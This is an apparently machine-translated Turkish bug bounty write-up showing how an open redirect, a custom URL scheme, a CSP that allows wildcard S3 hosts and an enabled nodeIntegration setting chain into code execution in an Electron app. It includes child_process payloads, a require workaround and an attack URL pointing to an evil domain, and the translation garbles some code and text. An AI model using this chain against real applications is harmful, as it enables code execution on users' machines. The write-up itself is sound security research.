İyisiyle kötüsüyle Node.js, geliştiricilerin popülerlik tablolarını hızla yükseltti. React, React Native ve Electron gibi çerçeveler sayesinde geliştiriciler mobil ve yerel platformlar için kolaylıkla istemciler oluşturabilir. Bu istemciler, tek bir JavaScript dosyasının etrafındaki ince sarmalayıcılar halinde sunulur.
Her modern kolaylıkta olduğu gibi bunda da ödünler var. İşin güvenlik tarafında, yönlendirme ve şablonlama mantığını istemci tarafına taşımak, saldırganların kullanılmayan API uç noktalarını, gizlenmemiş sırları ve daha fazlasını keşfetmesini kolaylaştırır. Webpacked React uygulamalarını orijinal kaynak kodlarına ayrıştıran, yazdığım bir araç olan Webpack Exploder’a göz atın.
Yerel masaüstü uygulamaları için, Electron uygulamalarının derlemesi ve hata ayıklaması daha da kolaydır. Saldırganlar, Ghidra/Radare2/Ida ve tonlarca montaj kodu arasında gezinmek yerine, Electron’un yerleşik Chromium DevTools’unu kullanabilir. Bu arada, Electron’un belgeleri, uygulamaların basit bir tek satırlık paketten açılabilen katran benzeri bir format olan asar arşivlerine paketlenmesini öneriyor.
Saldırganlar, kaynak kodu kullanarak istemci tarafındaki güvenlik açıklarını arayabilir ve bunları kod yürütmeye aktarabilir. Harika arabellek taşmalarına gerek yok – Electron’s nodeIntegration ayarı, uygulamaları hesaplamayı başlatmaktan bir XSS uzakta tutar.

Jasmin Landry’nin gösterdiği gibi bir Electron uygulamasında XSS’nin tehlikeleri.
Uygulamaları test etmede beyaz kutu yaklaşımını seviyorum. Ne aradığınızı biliyorsanız, zayıf noktaları yakınlaştırabilir ve istismarınızı koddan geçerken takip edebilirsiniz.
Bu blog yazısı, bir hata ödül programındaki isimsiz bir Electron uygulamasına ilişkin beyaz kutu incelememi ele alacak. Bazı hata ayıklamaların yardımıyla açık yönlendirmeyi uzaktan kod yürütmeye nasıl yükselttiğimi göstereceğim. Kod örnekleri değiştirildi ve anonimleştirildi.
Yolculuğum bir gün Jasmin’in tweet’ini fark ettiğimde ve kendime biraz Electron hackleme yapmak için ilham aldığımda başladı. Uygulamayı MacOS’a yükleyerek başladım, ardından kaynak kodunu aldım:
- Şuraya göz at:
Applicationdosya. - Uygulamaya sağ tıklayın ve seçin
Show Package Contents. - Girin
Contentsiçeren dizinapp.asardosya. - Koşmak
npx asar extract app.asar source(Düğüm kurulmalıdır). - Yeniden derlenmiş kaynak kodunu yeni sayfada görüntüleyin
sourcedizin!
Savunmasız Yapılandırmayı Keşfetmek 🔗
İçine bakmak package.jsonyapılandırmayı buldum "main": "app/index.js"bana asıl sürecin şu andan itibaren başlatıldığını söyledi: index.js dosya. Hızlı bir kontrol index.js bunu doğruladı nodeIntegration olarak ayarlandı true çoğu için BrowserWindow örnekler. Bu, saldırgan tarafından kontrol edilen JavaScript’i kolayca yerel kod yürütmeye yükseltebileceğim anlamına geliyordu. Ne zaman nodeIntegration öyle truepenceredeki JavaScript, aşağıdaki gibi yerel Node.js işlevlerine erişebilir: require ve böylece tehlikeli modülleri içe aktarın child_process. Bu, klasik Elektron hesaplama yüküne yol açar require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).
XSS’yi denemek 🔗
Şimdi tek yapmam gereken bir XSS vektörü bulmaktı. Uygulama, platformlar arası bir işbirliği aracıydı (Slack veya Zoom’u düşünün), dolayısıyla kısa mesajlar veya paylaşılan yüklemeler gibi çok sayıda girdi vardı. Uygulamayı kaynak kodundan başlattım electron . --proxy-server=127.0.0.1:8080Burp Suite aracılığıyla web trafiğini proxy olarak kullanıyor.
Aşağıdaki gibi HTML verilerini test etmeye başladım: pwned girişlerin her birinde. Çok geçmeden ilkini aldım zaptedilmiş! Bu umut verici bir işaretti. Ancak standart XSS verileri aşağıdaki gibi veya basitçe yürütülemedi. Hata ayıklamaya başlamam gerekiyordu.
CSP’yi atlamak 🔗
Varsayılan olarak Electron uygulamalarında DevTools’a klavye kısayoluyla erişebilirsiniz. Ctrl+Shift+I veya F12 anahtar. Anahtarları ezdim ama hiçbir şey olmadı. Uygulamanın varsayılan klavye kısayollarını kaldırdığı ortaya çıktı. Bu gizemi çözmek için aradım globalShortcut (Electron’ın klavye kısayol modülü) kaynak kodunda. Bir sonuç ortaya çıktı:
electron.globalShortcut.register('CommandOrControl+H', () => {
activateDevMenu();
});
Aha! Uygulamanın gizli bir menüyü açmak için kendi özel klavye kısayolu vardı. girdim CMD+H ve bir Developer menü çubuğunda menü belirdi. Gibi bir dizi ilginç öğe içeriyordu. Update Ve Callbackama en önemlisi vardı DevTools! DevTools’u açtım ve XSS verilerimi test etmeye devam ettim. Kısa sürede neden başarısız oldukları anlaşıldı; DevTools konsolunda İçerik Güvenliği Politikası (CSP) ihlalinden şikayetçi bir hata mesajı belirdi. Uygulamanın kendisi aşağıdaki CSP’yi içeren bir URL yüklüyordu:
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com
CSP kapsam dışı bıraktı unsafe-inline politika, olay işleyicilerini engelliyor svg yük. Ayrıca, yüklerim JavaScript kullanılarak sayfaya dinamik olarak enjekte edildiğinden, tipik olarak etiketler yürütülemedi. Neyse ki CSP’nin ölümcül bir hatası vardı: joker karakterli URL’lere izin verdi. Özellikle, https://*.s3.amazonaws.com politika kendi S3 grubumdaki komut dosyalarını eklememe izin verdi! Bir komut dosyası etiketini dinamik olarak enjekte etmek ve yürütmek için, Intigriti’nin Paskalya XSS mücadelesinden öğrendiğim bir numarayı kullandım. iframe‘S srcdoc bağlanmak:
<iframe srcdoc=''>iframe>
(Kaynak URL'yi anonimleştirdim.)
Bununla birlikte sevimli uyarı kutumu aldım! Adrenalin pompalama, değiştirdim evilscript.js ile window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})XSS yükünü yeniden gönderdi ve… hiçbir şey olmadı.
Daha derine inmemiz gerekiyor.
Odası Require🔗
DevTools konsoluna döndüğümde aşağıdaki hatayı fark ettim: Uncaught TypeError: window.require is not a function. Bu kafa karıştırıcıydı çünkü nodeIntegration şu şekilde ayarlandı: trueNode.js gibi işlevler require dahil edilmelidir window. Kaynak koduna geri dönersek, güvenlik açığını oluştururken bu kod satırlarını fark ettim. BrowserWindow:
const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true,
preload: path.join(__dirname, 'preload.js')
},
});
içine bakmak preload.js:
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;
Aha! Uygulama yeniden adlandırılıyor/siliniyordu require ön yükleme sırasında. Bu, gizlilik yoluyla bir güvenlik girişimi değildi; AngularJS gibi üçüncü taraf JavaScript kitaplıklarının çalışmasını sağlamak için Electron belgelerindeki standart koddur! Daha önce de belirttiğim gibi, güvenli olmayan yapılandırma, savunmasız uygulamalar arasında tutarlı bir temadır. Açarak nodeIntegration ve yeniden tanıtıyorum require pencereye girdiğinizde kod yürütme önemli bir olasılık haline gelir.
Bir ince ayar daha ile (kullanarak window.parent.nodeRequire XSS'mi bir iframe'den yürüttüğümden beri), yeni yükümü gönderdim ve hesaplamamı aldım!
Drive-By Kodu Yürütme 🔗
Native uygulamaya bakmadan önce web uygulamasında sayfada açık bir yönlendirme buldum https://collabapplication.com/redirect.jsp?next=//evil.com. Ancak triager benden ek etki göstermemi istedi. Yerel uygulamanın bir özelliği de tarayıcıdaki bir web bağlantısından yeni bir pencere açabilmesiydi.
Slack ve Zoom gibi uygulamaları düşünün. Zoom.us gibi bir sitedeki bir bağlantıyı nasıl açabileceğinizi ve Zoom uygulamanızı açmanızın isteneceğini hiç merak ettiniz mi?
Bunun nedeni, bu web sitelerinin yerel uygulama tarafından kaydedilen özel URL şemalarını açmaya çalışmasıdır. Örneğin Zoom şunları kaydeder: zoommtg böylece Zoom yüklüyse ve tarayıcınızda zoommtg://zoom.us/start?confno=123456789&pwd=xxxx'i açmayı denerseniz (deneyin!), yerel uygulamayı açmanız istenecektir. Daha az güvenli olan bazı tarayıcılarda, hiçbir şekilde uyarılmayacaksınız bile!
Güvenlik açığı bulunan uygulamanın benzer bir işleve sahip olduğunu fark ettim. Web sitesindeki bir sayfayı ziyaret edersem yerel uygulamada bir işbirliği odası açılıyor. Kodu araştırırken şu işleyiciyi buldum:
function isWhitelistedDomain(url) {
var allowed = ['collabapplication.com'];
var test = extractDomain(url);
if( allowed.indexOf(test) > -1 ) {
return true;
}
return false;
};
let launchURL = parseLaunchURL(fullURL)
if isWhitelistedDomain(launchURL) {
appWindow.loadURL(launchURL)
} else {
appWindow.loadURL(homeURL)
}
Hadi bunu parçalayalım. Yerel uygulama özel bir URL şemasından başlatıldığında (bu durumda, collabapp://collabapplication.com?meetingno=123&pwd=abc), bu URL başlatma işleyicisine aktarılır. Başlatma işleyicisi URL'yi çıkardıktan sonra collabapp://çıkarılan URL'deki alan adının collabapplication.comve kontrolü geçerse URL'yi uygulama penceresine yükler.
Beyaz liste kontrol kodunun kendisi doğru olsa da güvenlik mekanizması inanılmaz derecede kırılgandır. Tek bir açık yönlendirme olduğu sürece collabapplication.comyerel uygulamayı, uygulama penceresine rastgele bir URL yüklemeye zorlayabilirsiniz. Bunu şununla birleştirin: nodeIntegration güvenlik açığı ve ihtiyacınız olan tek şey, sizi çağıran şeytani bir sayfaya yönlendirmek. window.parent.nodeRequire(...) kod yürütmeyi almak için!
Son yüküm şu şekildeydi: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html. Açık evil.htmlsadece koştum window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).
Artık kurban kullanıcı kötü özel URL şemasını yükleyen herhangi bir web sayfasını ziyaret ederse hesap makinesi açılır! Tarayıcının sıfır günleri olmadan kod yürütme.
COVID-19 salgınının ardından yeni uygulamalar geliştikçe, geliştiriciler yıkıcı güvenlik açıklarına yol açabilecek kısayollar kullanma eğiliminde olabilir. Bu güvenlik açıkları, geliştirme döngüsünün başındaki hatalardan kaynaklandığından hızlı bir şekilde düzeltilemez.
Tekrar düşünün nodeIntegration Ve preload Güvenlik açığı bulunan uygulamayla ilgili sorunlar: Bu mimari ve yapılandırma sorunları düzeltilmediği sürece uygulama her zaman kırılgan ve savunmasız kalacaktır. Bir XSS'ye yama yapsalar veya yönlendirmeyi açsalar bile, bu hataların herhangi bir yeni örneği kodun yürütülmesine yol açacaktır. Aynı zamanda dönerek nodeIntegration off tüm uygulamayı bozar. Bu noktadan sonra yeniden yazılması gerekiyor.
Electron gibi Node.js çerçeveleri, geliştiricilerin aşina oldukları dilleri ve araçları kullanarak hızla yerel uygulamalar oluşturmasına olanak tanır. Ancak kullanıcı alanı çok farklı bir tehdit ortamıdır; haşhaş alert tarayıcınızda pop-up'tan çok farklı calc başvurunuzda. Geliştiriciler ve kullanıcılar dikkatli davranmalıdır.